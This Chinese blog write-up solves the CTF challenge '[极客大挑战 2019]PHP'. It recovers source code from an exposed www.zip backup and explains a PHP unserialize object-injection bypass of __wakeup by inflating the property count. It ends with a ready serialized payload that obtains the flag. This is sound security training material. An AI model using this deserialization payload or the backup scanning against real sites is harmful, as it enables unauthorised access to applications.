首页 > 编程语言 >[极客大挑战 2019]PHP

[极客大挑战 2019]PHP

时间:2023-10-31 13:22:37浏览次数:33  
标签:username 极客 14 admin echo PHP 2019 100 password

打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在 www.zip 文件,下载后解压打开,发现源码。
image.png
index.php 中,关键代码如下:

<?php
  include 'class.php';
  $select = $_GET['select'];
  $res=unserialize(@$select); // 反序列化
?>

接下来分析一下 class.php 文件。可以看到,class.php 文件先会调用 __wakeup() 函数,将反序列化后的 $username 赋值为 $guest,但题目仅在反序列化后的 $usernameadmin,并且 $password100 时才打印 flag, 那么,就需要跳过反序列化时执行 __wakeup 魔术方法。这里引入 PHP 陈旧的 CVE 漏洞,即:当序列化的字符串中表示对象属性个数的值大于真实的属性个数时,会跳过 __wakeup() 魔术方法的执行。

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

  	// __wakeup 魔术方法,在反序列化后调用。
    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
      	// 需要 $password 变量为 100
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
      	// 如果 $username 变量为 admin,则输出 flag
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

构造一个类,将 $username 变量赋值为 admin$password 变量赋值为 100,进行序列化,即:

<?php

class Name{
    private $username = 'admin';
    private $password = 100;
}

$name = new Name();
$name_serialize = serialize($name);

$fp = fopen("serialize.txt","a");
fwrite($fp,$name_serialize);
fclose($fp);

?>

// 生成内容如下(注意,这里在 “Name” 左右为 NULL 字符,需要自行修改为 %00)
// O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
// 即
// O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

将生成的序列化字符串中的表示对象属性个数的值 +1,以此跳过 __wakeup() 函数的执行。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

最终 Payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

标签:username,极客,14,admin,echo,PHP,2019,100,password
From: https://www.cnblogs.com/imtaieee/p/17800031.html

相关文章

  • [极客大挑战 2019]PHP
    打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在www.zip文件,下载后解压打开,发现源码。在index.php中,关键代码如下:<?phpinclude'class.php';$select=$_GET['select'];$res=unseria......
  • [安洵杯 2019]吹着贝斯扫二维码
    [安洵杯2019]吹着贝斯扫二维码压缩包里面有个flag.zip文件,但是有密码无法打开并且注释信息里有一串字符GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY经过base32解码和16进制转换后得到另一串,但是显......
  • PHPStudy 安装tp8 php8.2.9 安装XDbug、redis扩展安装XDbug扩展vscode断点:
    一、PhpStudy升级PHP版本,安装PHP8.2操作步骤1.1、官网下载最新的php版本打开Windows版的官网下载,地址:https://windows.php.net/download/ 页面上有不同的PHP版本,这里我们下载的是64位nts版的PHP8.2.9。1.2、解压下载的文件将下载的文件php-8.2.9-nts-Win32-vs16-x64.zip,移到PhpS......
  • php<= 7 . 4 . 21 development server源码泄露漏洞复现
    前言前一段时间在看羊城杯wp里了解到了这个漏洞,觉得挺有意思尝试复现一下(这里附上原漏洞地址https://blog.projectdiscovery.io/php-http-server-source-disclosure/版本PHP<=7.4.21漏洞成因通过php-S开起的内置WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件......
  • World Tour Finals 2019 D Distinct Boxes
    洛谷传送门AtCoder传送门神题。设第\(i\)个箱子有\(x_i\)个红球,\(y_i\)个蓝球,那么要求找到最大的\(K\)使得\(\sum\limits_{i=1}^Kx_i\leR,\sum\limits_{i=1}^Ky_i\leB\),且\((x_i,y_i)\)两两不等。显然我们都希望\(x_i,y_i\)尽量小。但是当\(R,B\)......
  • PHP代码审计
    函数用到时再去查用法_GET$_GET看成一个键值对数组(关联数组)$_GET==array(‘id’=>1,‘name’=>‘xiao’)函数引用&可以修改_GET....的值,不能修改_Request的值PHP弱类型https://www.cnblogs.com/Mrsm1th/p/6745532.html文件包含include()、require()、include_once()、......
  • PHP 多文件上传功能实例讲解
    PHP文件上传功能是非常普片的需求,而在网站开发过程中,我们可以需要同时上传多个文件,这个时候就需要开发出php多文件上传的功能。在本教程中,我将向您展示如何使用PHP实现多个文件上传。 HTML代码首先,您需要创建一个属性为 enctype='multiple/form-data'的HTML表单。实际上......
  • PHP全院级不良事件管理系统源码,支持上报、处理、分析、整改
    不良事件管理系统帮助医院梳理建立不良事件上报与管理的一体化解决方案,包含上报内容、归口科室、上报流程及管理办法。提供面向医院的不良事件全过程管理平台,包含事件上报、事件处理、事件追踪、RCA分析及持续改进等环节,帮助管理者从医院管理体系、运行机制与规章制度上进行有针对......
  • thinkPHP链接多个数据库
    1.添加新数据库的database文件 2.在config.php中引入$db_mn=require_once('database_mn.php');'db_mn'=>$db_mn,   3.控制器调用用db()->connect()代替db() ......
  • php 上传文件夹
    如果您是一位经常使用PHP的开发者,那么您肯定会经常遇到需要上传文件夹的情况。PHP作为一种强大的服务器脚本语言,可以很轻松地实现上传文件的功能。但是,当需要上传一个包含多个文件的文件夹时,就需要一些特殊的技巧。在PHP中,上传文件夹可以通过多种方式来实现。最简单的方法是使用......